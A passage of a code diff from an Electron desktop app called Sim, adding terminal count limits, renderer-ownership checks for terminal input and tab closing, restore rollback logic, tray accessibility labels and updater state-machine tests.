||||
export class TerminalService {
|
||||
@@ -612,6 +616,36 @@ export class TerminalService {
|
||||
}
|
||||
}
|
||||
|
||||
/** Captures live renderer claims before the registry replaces this service. */
|
||||
getPanelOwners(): { focused: WebContents | null; visible: WebContents | null } {
|
||||
return {
|
||||
focused: this.focusOwner && !this.focusOwner.isDestroyed() ? this.focusOwner : null,
|
||||
visible: this.visibleOwner && !this.visibleOwner.isDestroyed() ? this.visibleOwner : null,
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether this renderer owns the visible active terminal.
|
||||
*
|
||||
* IPC validates recent trusted input separately. Keeping ownership checks
|
||||
* beside terminal state prevents a stale renderer from targeting a hidden
|
||||
* tab or a terminal displayed by another window.
|
||||
*/
|
||||
acceptsUserInput(owner: WebContents, terminalId: string): boolean {
|
||||
return (
|
||||
!owner.isDestroyed() &&
|
||||
this.focusOwner === owner &&
|
||||
this.visibleOwner === owner &&
|
||||
this.activeId === terminalId &&
|
||||
this.sessions.has(terminalId)
|
||||
)
|
||||
}
|
||||
|
||||
/** Whether one renderer may close a tab in the terminal panel it displays. */
|
||||
acceptsUserClose(owner: WebContents, terminalId: string): boolean {
|
||||
return !owner.isDestroyed() && this.visibleOwner === owner && this.sessions.has(terminalId)
|
||||
}
|
||||
|
||||
/** Drops the claim and unsubscribes from the owner's lifecycle. */
|
||||
private releaseFocusOwner(): void {
|
||||
this.releaseFocusListeners?.()
|
||||
@@ -1092,6 +1126,18 @@ export class TerminalService {
|
||||
rows: number,
|
||||
options: { activateVisible: boolean; activateAgent: boolean }
|
||||
): TerminalSession {
|
||||
if (this.sessions.size >= MAX_TERMINALS_PER_SCOPE) {
|
||||
throw new TerminalError(
|
||||
'RESOURCE_LIMIT',
|
||||
`A task can have at most ${MAX_TERMINALS_PER_SCOPE} live terminals.`
|
||||
)
|
||||
}
|
||||
if (this.options.canSpawn && !this.options.canSpawn()) {
|
||||
throw new TerminalError(
|
||||
'RESOURCE_LIMIT',
|
||||
'Sim can have at most 48 live terminals. Close a terminal before opening another.'
|
||||
)
|
||||
}
|
||||
const terminalId = String(this.nextId++)
|
||||
try {
|
||||
const session = TerminalSession.create({
|
||||
|
||||
@@ -9,6 +9,7 @@ interface StubSessionControl {
|
||||
terminalId: string
|
||||
cwd: string
|
||||
disposed: boolean
|
||||
writes: string[]
|
||||
emitData(data: string): void
|
||||
emitCommand(event: TerminalCommandEvent): void
|
||||
}
|
||||
@@ -20,7 +21,8 @@ interface StubSessionCallbacks {
|
||||
onExit(terminalId: string): void
|
||||
}
|
||||
|
||||
const { stubSessions } = vi.hoisted(() => ({
|
||||
const { createControl, stubSessions } = vi.hoisted(() => ({
|
||||
createControl: { calls: 0, failAt: null as number | null },
|
||||
stubSessions: [] as StubSessionControl[],
|
||||
}))
|
||||
|
||||
@@ -40,10 +42,15 @@ vi.mock('@/main/terminal/session', () => ({
|
||||
rows: number
|
||||
callbacks: StubSessionCallbacks
|
||||
}) => {
|
||||
createControl.calls += 1
|
||||
if (createControl.calls === createControl.failAt) {
|
||||
throw new Error('PTY spawn failed')
|
||||
}
|
||||
const control: StubSessionControl = {
|
||||
terminalId,
|
||||
cwd,
|
||||
disposed: false,
|
||||
writes: [],
|
||||
emitData: (data) => callbacks.onData(terminalId, data),
|
||||
emitCommand: (event) => callbacks.onCommand(event),
|
||||
}
|
||||
@@ -66,7 +73,7 @@ vi.mock('@/main/terminal/session', () => ({
|
||||
dispose: () => {
|
||||
control.disposed = true
|
||||
},
|
||||
write: vi.fn(),
|
||||
write: vi.fn((data: string) => control.writes.push(data)),
|
||||
resize: vi.fn(),
|
||||
tabState: (active: boolean) => ({
|
||||
terminalId,
|
||||
@@ -103,6 +110,8 @@ function sink(): ScopedTerminalSink {
|
||||
|
||||
describe('TerminalRegistry', () => {
|
||||
beforeEach(() => {
|
||||
createControl.calls = 0
|
||||
createControl.failAt = null
|
||||
stubSessions.length = 0
|
||||
})
|
||||
|
||||
@@ -236,6 +245,140 @@ describe('TerminalRegistry', () => {
|
||||
terminals.dispose()
|
||||
})
|
||||
|
||||
it('rolls back a partial restore before retrying the complete descriptor', () => {
|
||||
const persistedTabs = [{ cwd: tmpdir() }, { cwd: process.cwd() }, { cwd: tmpdir() }]
|
||||
const persistence: TerminalScopePersistence = {
|
||||
load: vi.fn(() => ({ v: 1 as const, tabs: persistedTabs, activeIndex: 1 })),
|
||||
save: vi.fn(() => true),
|
||||
migrate: vi.fn(() => true),
|
||||
disposeScope: vi.fn(),
|
||||
}
|
||||
const terminals = new TerminalRegistry(persistence)
|
||||
const events = sink()
|
||||
const owner = {
|
||||
isDestroyed: () => false,
|
||||
once: vi.fn(),
|
||||
on: vi.fn(),
|
||||
removeListener: vi.fn(),
|
||||
send: vi.fn(),
|
||||
}
|
||||
terminals.setSink(events)
|
||||
terminals.setPanelVisible('chat-A', true, owner as never)
|
||||
terminals.setPanelFocused('chat-A', true, owner as never)
|
||||
createControl.failAt = 2
|
||||
|
||||
expect(() => terminals.start('chat-A', { cols: 120, rows: 40 })).toThrow('PTY spawn failed')
|
||||
expect(stubSessions).toHaveLength(1)
|
||||
expect(stubSessions[0].disposed).toBe(true)
|
||||
expect(terminals.peekTabs('chat-A')).toEqual({ tabs: [], activeTerminalId: null })
|
||||
expect(persistence.save).not.toHaveBeenCalled()
|
||||
expect(events.tabs).not.toHaveBeenCalled()
|
||||
|
||||
createControl.failAt = null
|
||||
const restored = terminals.start('chat-A', { cols: 120, rows: 40 })
|
||||
|
||||
expect(restored.tabs.map(({ cwd }) => cwd)).toEqual(persistedTabs.map(({ cwd }) => cwd))
|
||||
expect(restored.activeTerminalId).toBe('2')
|
||||
expect(stubSessions.filter(({ disposed }) => !disposed)).toHaveLength(3)
|
||||
expect(
|
||||
stubSessions.filter(({ disposed }) => !disposed).map(({ terminalId }) => terminalId)
|
||||
).toEqual(['1', '2', '3'])
|
||||
expect(persistence.save).toHaveBeenCalledOnce()
|
||||
expect(events.tabs).toHaveBeenCalledOnce()
|
||||
expect(events.tabs).toHaveBeenCalledWith('chat-A', restored)
|
||||
|
||||
const activeTerminalId = restored.activeTerminalId as string
|
||||
expect(terminals.writeUserInput('chat-A', activeTerminalId, 'a', owner as never)).toBe(true)
|
||||
expect(terminals.handleFocusedShortcut({ webContents: owner } as never, 'zoom-in')).toBe(true)
|
||||
expect(owner.send).toHaveBeenCalledWith(
|
||||
'terminal:shortcut-command',
|
||||
'zoom-in',
|
||||
'chat-A',
|
||||
activeTerminalId
|
||||
)
|
||||
expect(terminals.closeUserTerminal('chat-A', '1', owner as never).tabs).toHaveLength(2)
|
||||
|
||||
terminals.dispose()
|
||||
})
|
||||
|
||||
it('bounds a corrupt oversized restore while retaining its selected tab', () => {
|
||||
const persistedTabs = Array.from({ length: 20 }, (_, index) => ({
|
||||
cwd: index % 2 === 0 ? tmpdir() : process.cwd(),
|
||||
}))
|
||||
const persistence: TerminalScopePersistence = {
|
||||
load: vi.fn(() => ({
|
||||
v: 1 as const,
|
||||
tabs: persistedTabs,
|
||||
activeIndex: 19,
|
||||
})),
|
||||
save: vi.fn(() => true),
|
||||
migrate: vi.fn(() => true),
|
||||
disposeScope: vi.fn(),
|
||||
}
|
||||
const terminals = new TerminalRegistry(persistence)
|
||||
|
||||
const restored = terminals.start('chat-A', { cols: 120, rows: 40 })
|
||||
|
||||
expect(restored.tabs).toHaveLength(16)
|
||||
expect(restored.activeTerminalId).toBe('16')
|
||||
expect(stubSessions.map(({ cwd }) => cwd)).toEqual([
|
||||
...persistedTabs.slice(0, 15).map(({ cwd }) => cwd),
|
||||
persistedTabs[19].cwd,
|
||||
])
|
||||
expect(persistence.save).toHaveBeenLastCalledWith('chat-A', {
|
||||
v: 1,
|
||||
tabs: [...persistedTabs.slice(0, 15), persistedTabs[19]],
|
||||
activeIndex: 15,
|
||||
})
|
||||
})
|
||||
|
||||
it('enforces the process-wide terminal ceiling without evicting live scopes', () => {
|
||||
const terminals = registry()
|
||||
for (let index = 0; index < 48; index++) {
|
||||
terminals.start(`chat-${index}`, { cols: 80, rows: 24 })
|
||||
}
|
||||
|
||||
expect(() => terminals.start('chat-overflow', { cols: 80, rows: 24 })).toThrow(
|
||||
expect.objectContaining({ code: 'RESOURCE_LIMIT' })
|
||||
)
|
||||
expect(stubSessions).toHaveLength(48)
|
||||
expect(stubSessions.every((session) => !session.disposed)).toBe(true)
|
||||
})
|
||||
|
||||
it('does not truncate a saved terminal session while the process budget is occupied', () => {
|
||||
const persistedTabs = [{ cwd: tmpdir() }, { cwd: process.cwd() }, { cwd: tmpdir() }]
|
||||
const persistence: TerminalScopePersistence = {
|
||||
load: vi.fn((scope) =>
|
||||
scope === 'chat-pending-restore'
|
||||
? { v: 1 as const, tabs: persistedTabs, activeIndex: 1 }
|
||||
: undefined
|
||||
),
|
||||
save: vi.fn(() => true),
|
||||
migrate: vi.fn(() => true),
|
||||
disposeScope: vi.fn(),
|
||||
}
|
||||
const terminals = new TerminalRegistry(persistence)
|
||||
for (let index = 0; index < 46; index++) {
|
||||
terminals.start(`chat-live-${index}`, { cols: 80, rows: 24 })
|
||||
}
|
||||
|
||||
expect(() => terminals.start('chat-pending-restore', { cols: 80, rows: 24 })).toThrow(
|
||||
expect.objectContaining({ code: 'RESOURCE_LIMIT' })
|
||||
)
|
||||
expect(persistence.save).not.toHaveBeenCalledWith('chat-pending-restore', expect.anything())
|
||||
|
||||
terminals.disposeScope('chat-live-0')
|
||||
const restored = terminals.start('chat-pending-restore', { cols: 80, rows: 24 })
|
||||
|
||||
expect(restored.tabs.map(({ cwd }) => cwd)).toEqual(persistedTabs.map(({ cwd }) => cwd))
|
||||
expect(restored.activeTerminalId).toBe('2')
|
||||
expect(persistence.save).toHaveBeenCalledWith('chat-pending-restore', {
|
||||
v: 1,
|
||||
tabs: persistedTabs,
|
||||
activeIndex: 1,
|
||||
})
|
||||
})
|
||||
|
||||
it('opens a fallback shell for a saved tab whose directory no longer exists', () => {
|
||||
const missingCwd = '/definitely-does-not-exist/sim-terminal-restored-tab'
|
||||
const persistence: TerminalScopePersistence = {
|
||||
@@ -399,4 +542,55 @@ describe('TerminalRegistry', () => {
|
||||
terminals.setPanelFocused('chat-B', false, contents as never)
|
||||
expect(terminals.handleFocusedShortcut(ownerWindow as never, 'reload-or-clear')).toBe(false)
|
||||
})
|
||||
|
||||
it('writes user input only for the visible focused owner and active terminal', () => {
|
||||
const terminals = registry()
|
||||
const first = terminals.start('chat-A', { cols: 80, rows: 24 }).activeTerminalId as string
|
||||
const second = terminals.openTerminal('chat-A').activeTerminalId as string
|
||||
terminals.start('chat-B', { cols: 80, rows: 24 })
|
||||
const owner = {
|
||||
isDestroyed: () => false,
|
||||
once: vi.fn(),
|
||||
on: vi.fn(),
|
||||
removeListener: vi.fn(),
|
||||
}
|
||||
const other = { ...owner, once: vi.fn(), on: vi.fn(), removeListener: vi.fn() }
|
||||
|
||||
terminals.setPanelFocused('chat-A', true, owner as never)
|
||||
terminals.setPanelVisible('chat-A', true, owner as never)
|
||||
|
||||
expect(terminals.writeUserInput('chat-A', second, 'a', other as never)).toBe(false)
|
||||
expect(terminals.writeUserInput('chat-A', first, 'a', owner as never)).toBe(false)
|
||||
expect(terminals.writeUserInput('chat-B', '1', 'a', owner as never)).toBe(false)
|
||||
expect(stubSessions.every((session) => session.writes.length === 0)).toBe(true)
|
||||
|
||||
expect(terminals.writeUserInput('chat-A', second, 'a', owner as never)).toBe(true)
|
||||
const activeSession = stubSessions.find((session) => session.terminalId === second)
|
||||
expect(activeSession?.writes).toEqual(['a'])
|
||||
})
|
||||
|
||||
it('closes tabs only for the renderer displaying their terminal scope', () => {
|
||||
const terminals = registry()
|
||||
const first = terminals.start('chat-A', { cols: 80, rows: 24 }).activeTerminalId as string
|
||||
const second = terminals.openTerminal('chat-A').activeTerminalId as string
|
||||
const owner = {
|
||||
isDestroyed: () => false,
|
||||
once: vi.fn(),
|
||||
on: vi.fn(),
|
||||
removeListener: vi.fn(),
|
||||
}
|
||||
const other = { ...owner, once: vi.fn(), on: vi.fn(), removeListener: vi.fn() }
|
||||
|
||||
expect(terminals.closeUserTerminal('chat-A', first, owner as never).tabs).toHaveLength(2)
|
||||
terminals.setPanelVisible('chat-A', true, owner as never)
|
||||
expect(terminals.closeUserTerminal('chat-A', first, other as never).tabs).toHaveLength(2)
|
||||
expect(terminals.closeUserTerminal('chat-B', '1', owner as never)).toEqual({
|
||||
tabs: [],
|
||||
activeTerminalId: null,
|
||||
})
|
||||
|
||||
const closed = terminals.closeUserTerminal('chat-A', first, owner as never)
|
||||
expect(closed.tabs).toHaveLength(1)
|
||||
expect(closed.activeTerminalId).toBe(second)
|
||||
})
|
||||
})
|
||||
|
||||
@@ -11,7 +11,16 @@ import {
|
||||
import { type BrowserWindow, dialog, type WebContents } from 'electron'
|
||||
import type { TerminalSessionSnapshot } from '@/main/desktop-chat-session-store'
|
||||
import type { FocusedResourceShortcut } from '@/main/resource-shortcuts'
|
||||
import { TerminalService, type TerminalServiceOptions, type TerminalSink } from '@/main/terminal'
|
||||
import {
|
||||
MAX_TERMINALS_PER_SCOPE,
|
||||
TerminalError,
|
||||
TerminalService,
|
||||
type TerminalServiceOptions,
|
||||
type TerminalSink,
|
||||
} from '@/main/terminal'
|
||||
|
||||
/** Native PTYs and their headless xterm buffers are process-wide resources. */
|
||||
export const MAX_TERMINALS_PER_PROCESS = 48
|
||||
|
||||
/** Live terminal events tagged with the chat scope that owns their service. */
|
||||
export interface ScopedTerminalSink {
|
||||
@@ -54,6 +63,28 @@ function restorableCwd(cwd: string): string | undefined {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Bounds a saved descriptor while retaining the selected tab when it falls
|
||||
* beyond the ordered prefix. The selected tab replaces the final retained
|
||||
* entry, preserving relative order for every other survivor.
|
||||
*/
|
||||
function boundSnapshot(
|
||||
snapshot: TerminalSessionSnapshot | undefined
|
||||
): TerminalSessionSnapshot | undefined {
|
||||
if (!snapshot) return undefined
|
||||
if (snapshot.tabs.length <= MAX_TERMINALS_PER_SCOPE) return snapshot
|
||||
const activeIndex = Math.min(Math.max(0, snapshot.activeIndex), snapshot.tabs.length - 1)
|
||||
const tabs = snapshot.tabs.slice(0, MAX_TERMINALS_PER_SCOPE)
|
||||
if (activeIndex >= MAX_TERMINALS_PER_SCOPE) {
|
||||
tabs[MAX_TERMINALS_PER_SCOPE - 1] = snapshot.tabs[activeIndex]
|
||||
}
|
||||
return {
|
||||
v: 1,
|
||||
tabs,
|
||||
activeIndex: activeIndex < MAX_TERMINALS_PER_SCOPE ? activeIndex : MAX_TERMINALS_PER_SCOPE - 1,
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Owns one independent terminal service per chat scope.
|
||||
*
|
||||
@@ -132,11 +163,28 @@ export class TerminalRegistry {
|
||||
return this.serviceFor(scope).closeTerminal(terminalId)
|
||||
}
|
||||
|
||||
/** Closes a tab only from the renderer that currently displays its scope. */
|
||||
closeUserTerminal(scope: string, terminalId: string, owner: WebContents): TerminalTabsState {
|
||||
if (this.suspendedScopes.has(scope)) return { tabs: [], activeTerminalId: null }
|
||||
const service = this.entries.get(scope)?.service
|
||||
if (!service?.acceptsUserClose(owner, terminalId)) return this.peekTabs(scope)
|
||||
return service.closeTerminal(terminalId)
|
||||
}
|
||||
|
||||
write(scope: string, terminalId: string, data: string): void {
|
||||
if (this.suspendedScopes.has(scope)) return
|
||||
this.serviceFor(scope).write(terminalId, data)
|
||||
}
|
||||
|
||||
/** Applies user input only to the visible active tab owned by its renderer. */
|
||||
writeUserInput(scope: string, terminalId: string, data: string, owner: WebContents): boolean {
|
||||
if (this.suspendedScopes.has(scope)) return false
|
||||
const service = this.entries.get(scope)?.service
|
||||
if (!service?.acceptsUserInput(owner, terminalId)) return false
|
||||
service.write(terminalId, data)
|
||||
return true
|
||||
}
|
||||
|
||||
resize(scope: string, terminalId: string, cols: number, rows: number): void {
|
||||
if (this.suspendedScopes.has(scope)) return
|
||||
this.serviceFor(scope).resize(terminalId, cols, rows)
|
||||
@@ -321,12 +369,12 @@ export class TerminalRegistry {
|
||||
const existing = this.entries.get(scope)
|
||||
if (existing) return existing
|
||||
|
||||
const persisted = this.persistence?.load(scope)
|
||||
const rememberedCwd = persisted?.tabs[0]?.cwd
|
||||
const persisted = boundSnapshot(this.persistence?.load(scope))
|
||||
const entry: TerminalRegistryEntry = {
|
||||
scope,
|
||||
service: this.serviceFactory(scope, {
|
||||
loadCwd: () => rememberedCwd,
|
||||
loadCwd: () => this.entries.get(scope)?.persisted?.tabs[0]?.cwd,
|
||||
canSpawn: () => this.liveTerminalCount() < MAX_TERMINALS_PER_PROCESS,
|
||||
}),
|
||||
persisted,
|
||||
restoreApplied: false,
|
||||
@@ -348,6 +396,15 @@ export class TerminalRegistry {
|
||||
): TerminalTabsState {
|
||||
if (entry.restoreApplied) return entry.service.start(options)
|
||||
|
||||
const requiredSlots = entry.persisted?.tabs.length ?? 1
|
||||
const availableSlots = Math.max(0, MAX_TERMINALS_PER_PROCESS - this.liveTerminalCount())
|
||||
if (requiredSlots > availableSlots) {
|
||||
throw new TerminalError(
|
||||
'RESOURCE_LIMIT',
|
||||
`Sim can have at most ${MAX_TERMINALS_PER_PROCESS} live terminals. Close a terminal before opening another.`
|
||||
)
|
||||
}
|
||||
|
||||
entry.restoreApplied = true
|
||||
entry.restoring = true
|
||||
let tabs: TerminalTabsState
|
||||
@@ -358,16 +415,42 @@ export class TerminalRegistry {
|
||||
for (const tab of persisted.tabs.slice(1)) {
|
||||
entry.service.restoreTerminal(restorableCwd(tab.cwd))
|
||||
}
|
||||
const restored = entry.service.getTabs()
|
||||
const active = restored.tabs[persisted.activeIndex]
|
||||
const restoredState = entry.service.getTabs()
|
||||
const active = restoredState.tabs[persisted.activeIndex]
|
||||
if (active) entry.service.restoreActiveTerminal(active.terminalId)
|
||||
}
|
||||
tabs = entry.service.getTabs()
|
||||
} catch (error) {
|
||||
const owners = entry.service.getPanelOwners()
|
||||
entry.service.setSink(null)
|
||||
entry.service.dispose()
|
||||
let replacement: TerminalService
|
||||
try {
|
||||
replacement = this.serviceFactory(entry.scope, {
|
||||
loadCwd: () => entry.persisted?.tabs[0]?.cwd,
|
||||
canSpawn: () => this.liveTerminalCount() < MAX_TERMINALS_PER_PROCESS,
|
||||
})
|
||||
} catch {
|
||||
this.entries.delete(entry.scope)
|
||||
throw error
|
||||
}
|
||||
entry.service = replacement
|
||||
try {
|
||||
entry.restoreApplied = false
|
||||
this.bindSink(entry)
|
||||
if (owners.visible) entry.service.setPanelVisible(true, owners.visible)
|
||||
if (owners.focused) entry.service.setPanelFocused(true, owners.focused)
|
||||
} catch {
|
||||
entry.service.setSink(null)
|
||||
entry.service.dispose()
|
||||
this.entries.delete(entry.scope)
|
||||
}
|
||||
throw error
|
||||
} finally {
|
||||
entry.restoring = false
|
||||
entry.persisted = undefined
|
||||
}
|
||||
this.persistTabs(entry, tabs)
|
||||
entry.persisted = undefined
|
||||
this.publishTabs(entry, tabs)
|
||||
return tabs
|
||||
}
|
||||
|
||||
@@ -382,16 +465,23 @@ export class TerminalRegistry {
|
||||
}
|
||||
|
||||
const sink: TerminalSink = {
|
||||
data: (terminalId, data) => this.sink?.data(entry.scope, terminalId, data),
|
||||
tabs: (state) => {
|
||||
this.persistTabs(entry, state)
|
||||
this.sink?.tabs(entry.scope, state)
|
||||
data: (terminalId, data) => {
|
||||
if (!entry.restoring) this.sink?.data(entry.scope, terminalId, data)
|
||||
},
|
||||
tabs: (state) => this.publishTabs(entry, state),
|
||||
command: (event) => {
|
||||
if (!entry.restoring) this.sink?.command(entry.scope, event)
|
||||
},
|
||||
command: (event) => this.sink?.command(entry.scope, event),
|
||||
}
|
||||
entry.service.setSink(sink)
|
||||
}
|
||||
|
||||
private publishTabs(entry: TerminalRegistryEntry, state: TerminalTabsState): void {
|
||||
if (entry.restoring) return
|
||||
this.persistTabs(entry, state)
|
||||
this.sink?.tabs(entry.scope, state)
|
||||
}
|
||||
|
||||
private persistEntry(entry: TerminalRegistryEntry): boolean {
|
||||
return this.persistTabs(entry, entry.service.getTabs())
|
||||
}
|
||||
@@ -408,4 +498,10 @@ export class TerminalRegistry {
|
||||
)
|
||||
return this.persistence.save(entry.scope, { v: 1, tabs, activeIndex })
|
||||
}
|
||||
|
||||
private liveTerminalCount(): number {
|
||||
let count = 0
|
||||
for (const entry of this.entries.values()) count += entry.service.getTabs().tabs.length
|
||||
return count
|
||||
}
|
||||
}
|
||||
|
||||
@@ -397,6 +397,20 @@ describe('focus-gated shortcuts', () => {
|
||||
).toBe('/alpha')
|
||||
})
|
||||
|
||||
it('fails cleanly instead of opening a seventeenth terminal', () => {
|
||||
const terminal = service()
|
||||
terminal.start({ cols: 80, rows: 24 })
|
||||
while (terminal.getTabs().tabs.length < 16) terminal.openTerminal()
|
||||
|
||||
expect(() => terminal.openTerminal()).toThrow(
|
||||
expect.objectContaining({
|
||||
code: 'RESOURCE_LIMIT',
|
||||
message: 'A task can have at most 16 live terminals.',
|
||||
})
|
||||
)
|
||||
expect(terminal.getTabs().tabs).toHaveLength(16)
|
||||
})
|
||||
|
||||
it('ignores a blur reported by a renderer that does not hold the claim', () => {
|
||||
// Every renderer reports its own blur, so a second window switching away
|
||||
// from its terminal sends `false` from a WebContents that never claimed.
|
||||
|
||||
@@ -179,6 +179,9 @@ describe('buildTrayMenuTemplate', () => {
|
||||
const seen = template.find((item) => item.label === 'Seen')
|
||||
expect(working?.icon).toBeDefined()
|
||||
expect(fresh?.icon).toBeDefined()
|
||||
expect(working?.accessibilityLabel).toBe('Working, running')
|
||||
expect(fresh?.accessibilityLabel).toBe('Fresh, unread')
|
||||
expect(seen?.accessibilityLabel).toBe('Seen')
|
||||
// Active (yellow) and unread (green) use distinct images; read chats get none.
|
||||
expect(working?.icon).not.toBe(fresh?.icon)
|
||||
expect(seen?.icon).toBeUndefined()
|
||||
|
||||
@@ -336,8 +336,12 @@ export interface TrayDeps {
|
||||
|
||||
function chatMenuItem(chat: RecentChat, deps: TrayDeps): MenuItemConstructorOptions {
|
||||
const icon = statusDotImage(chat.status)
|
||||
const statusLabel =
|
||||
chat.status === 'active' ? 'running' : chat.status === 'unread' ? 'unread' : ''
|
||||
const label = truncate(chat.title, 57, '…')
|
||||
return {
|
||||
label: truncate(chat.title, 57, '…'),
|
||||
label,
|
||||
accessibilityLabel: statusLabel ? `${label}, ${statusLabel}` : label,
|
||||
...(icon ? { icon } : {}),
|
||||
click: () => deps.openMainWindow(chatRoute(chat)),
|
||||
}
|
||||
|
||||
@@ -3,8 +3,15 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
vi.mock('electron', () => import('@/test/electron-mock'))
|
||||
|
||||
let updaterChannel = ''
|
||||
const autoUpdaterMock = {
|
||||
channel: '',
|
||||
get channel() {
|
||||
return updaterChannel
|
||||
},
|
||||
set channel(value: string) {
|
||||
updaterChannel = value
|
||||
this.allowDowngrade = true
|
||||
},
|
||||
allowDowngrade: false,
|
||||
autoDownload: true,
|
||||
autoInstallOnAppQuit: false,
|
||||
@@ -12,7 +19,7 @@ const autoUpdaterMock = {
|
||||
logger: null as unknown,
|
||||
on: vi.fn(),
|
||||
setFeedURL: vi.fn(),
|
||||
checkForUpdates: vi.fn(() => Promise.resolve(null)),
|
||||
checkForUpdates: vi.fn<() => Promise<null>>(),
|
||||
downloadUpdate: vi.fn(() => Promise.resolve([])),
|
||||
quitAndInstall: vi.fn(),
|
||||
}
|
||||
@@ -25,6 +32,7 @@ import {
|
||||
isDowngrade,
|
||||
isNewerVersion,
|
||||
parseSemver,
|
||||
readUpdateManifest,
|
||||
resolveUpdateChannel,
|
||||
type UpdaterHandle,
|
||||
updateCheckIntervalMs,
|
||||
@@ -149,6 +157,7 @@ describe('initUpdater state machine', () => {
|
||||
autoDownload?: boolean
|
||||
feedAvailable?: boolean | 'no-release'
|
||||
probeOriginFeed?: (feedUrl: string) => Promise<boolean | 'no-release'>
|
||||
beforeInstall?: () => Promise<void>
|
||||
}) {
|
||||
const states: DesktopUpdateState[] = []
|
||||
const handle = initUpdater({
|
||||
@@ -161,6 +170,8 @@ describe('initUpdater state machine', () => {
|
||||
autoUpdaterMock as unknown as typeof import('electron-updater')['autoUpdater'],
|
||||
probeOriginFeed: options?.probeOriginFeed ?? (async () => options?.feedAvailable ?? false),
|
||||
canSelfUpdate: async () => true,
|
||||
platform: 'darwin',
|
||||
beforeInstall: options?.beforeInstall,
|
||||
})
|
||||
// Engine selection (signature detection) resolves asynchronously.
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
@@ -172,9 +183,11 @@ describe('initUpdater state machine', () => {
|
||||
autoUpdaterMock.on.mockClear()
|
||||
autoUpdaterMock.setFeedURL.mockClear()
|
||||
autoUpdaterMock.checkForUpdates.mockClear()
|
||||
autoUpdaterMock.checkForUpdates.mockImplementation(() => new Promise(() => {}))
|
||||
autoUpdaterMock.downloadUpdate.mockClear()
|
||||
autoUpdaterMock.quitAndInstall.mockClear()
|
||||
autoUpdaterMock.autoRunAppAfterInstall = false
|
||||
updaterChannel = ''
|
||||
vi.mocked(dialog.showMessageBox).mockResolvedValue({ response: 1, checkboxChecked: false })
|
||||
})
|
||||
|
||||
@@ -189,7 +202,8 @@ describe('initUpdater state machine', () => {
|
||||
handle.install()
|
||||
expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled()
|
||||
|
||||
emit('checking-for-update')
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
emit('update-available', { version: '2.0.0' })
|
||||
emit('download-progress', { percent: 41.7 })
|
||||
emit('update-downloaded', { version: '2.0.0' })
|
||||
@@ -211,12 +225,20 @@ describe('initUpdater state machine', () => {
|
||||
autoUpdaterMock.autoDownload = false
|
||||
const { handle } = await createUpdater({ autoDownload: false })
|
||||
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
emit('update-available', { version: '2.0.0' })
|
||||
expect(handle.getState()).toEqual({ status: 'available', version: '2.0.0' })
|
||||
|
||||
handle.check()
|
||||
expect(autoUpdaterMock.downloadUpdate).toHaveBeenCalledTimes(1)
|
||||
expect(autoUpdaterMock.checkForUpdates).not.toHaveBeenCalled()
|
||||
expect(autoUpdaterMock.checkForUpdates).toHaveBeenCalledTimes(1)
|
||||
expect(handle.getState()).toEqual({ status: 'downloading', version: '2.0.0' })
|
||||
|
||||
handle.check()
|
||||
expect(autoUpdaterMock.downloadUpdate).toHaveBeenCalledTimes(1)
|
||||
emit('download-progress', { percent: 41.7 })
|
||||
expect(handle.getState()).toEqual({ status: 'downloading', version: '2.0.0', percent: 42 })
|
||||
|
||||
emit('update-downloaded', { version: '2.0.0' })
|
||||
expect(dialog.showMessageBox).not.toHaveBeenCalled()
|
||||
@@ -224,6 +246,64 @@ describe('initUpdater state machine', () => {
|
||||
expect(autoUpdaterMock.quitAndInstall).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
|
||||
it('surfaces a manually started download failure without installing', async () => {
|
||||
autoUpdaterMock.downloadUpdate.mockRejectedValueOnce(new Error('download failed'))
|
||||
const { handle } = await createUpdater({ autoDownload: false })
|
||||
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
emit('update-available', { version: '2.0.0' })
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
|
||||
expect(handle.getState()).toEqual({ status: 'error', version: '2.0.0' })
|
||||
emit('update-downloaded', { version: '2.0.0' })
|
||||
expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('awaits desktop teardown before Squirrel terminates the process', async () => {
|
||||
let finishTeardown: (() => void) | undefined
|
||||
const beforeInstall = vi.fn(
|
||||
() =>
|
||||
new Promise<void>((resolve) => {
|
||||
finishTeardown = resolve
|
||||
})
|
||||
)
|
||||
const { handle } = await createUpdater({ autoDownload: false, beforeInstall })
|
||||
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
emit('update-available', { version: '2.0.0' })
|
||||
handle.check()
|
||||
emit('update-downloaded', { version: '2.0.0' })
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
|
||||
expect(beforeInstall).toHaveBeenCalledTimes(1)
|
||||
expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled()
|
||||
|
||||
finishTeardown?.()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
expect(autoUpdaterMock.quitAndInstall).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
|
||||
it('does not install when pre-install teardown fails', async () => {
|
||||
const beforeInstall = vi.fn(async () => {
|
||||
throw new Error('flush failed')
|
||||
})
|
||||
const { handle } = await createUpdater({ beforeInstall })
|
||||
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
emit('update-available', { version: '2.0.0' })
|
||||
emit('update-downloaded', { version: '2.0.0' })
|
||||
handle.install()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
|
||||
expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled()
|
||||
expect(autoUpdaterMock.autoInstallOnAppQuit).toBe(false)
|
||||
expect(handle.getState()).toEqual({ status: 'error', version: '2.0.0' })
|
||||
})
|
||||
|
||||
it('checks from idle and ignores re-entrant checks while busy', async () => {
|
||||
const { handle } = await createUpdater()
|
||||
handle.check()
|
||||
@@ -250,6 +330,7 @@ describe('initUpdater state machine', () => {
|
||||
autoUpdaterMock as unknown as typeof import('electron-updater')['autoUpdater'],
|
||||
probeOriginFeed: async () => true,
